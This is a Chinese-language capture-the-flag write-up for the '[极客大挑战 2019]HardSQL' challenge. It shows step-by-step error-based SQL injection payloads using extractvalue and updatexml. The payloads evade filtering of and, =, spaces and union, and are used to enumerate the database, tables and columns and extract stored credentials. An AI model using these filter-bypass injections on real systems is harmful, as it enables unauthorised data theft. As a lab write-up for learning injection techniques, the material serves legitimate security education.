[极客大挑战 2019]HardSQL
1. 首页
老样子,先尝试万能头,但是显示报错:
猜测有关键词被过滤了
经过手工测试过滤了and、= ,空格, union等多个sql关键字
利用burp抓包,使用updatexml或者extractvalue报错法注入,使用^异或符号替换and
空格和=号没有,所以我们要使用()来代替空格,使用like来代替=号
2. 查询数据库:
payload:
1 | '^extractvalue(1,concat(0x7e,(select(database()))))%23 |
结果为:geek
3. 查询数据表
payload:
1 | '^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23 |
结果为:H4rDsq1
4. 查询字段
payload:
1 | '^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23 |
结果:id,username,password
5. 查询字段内容
payload:
1 | '^extractvalue(1,concat(0x7e,(select(group_concat(username,password))from(H4rDsq1))))%23 |
得到:flagflag{a2f129eb-de75-41f2-922
很明显,这个flag不完整,猜想是输出限制了长度
修改payload:
1 | '^extractvalue(1,concat(0x7e,(select(group_concat(left(password,30)))from(H4rDsq1))))%23 |
或者:
1 | '^updatexml(1,concat(0x7e,(select(group_concat(left(password,30)))from(H4rDsq1))),1)%23 |
分别得到的结果:
1 | flag{a2f129eb-de75-41f2-9223-a |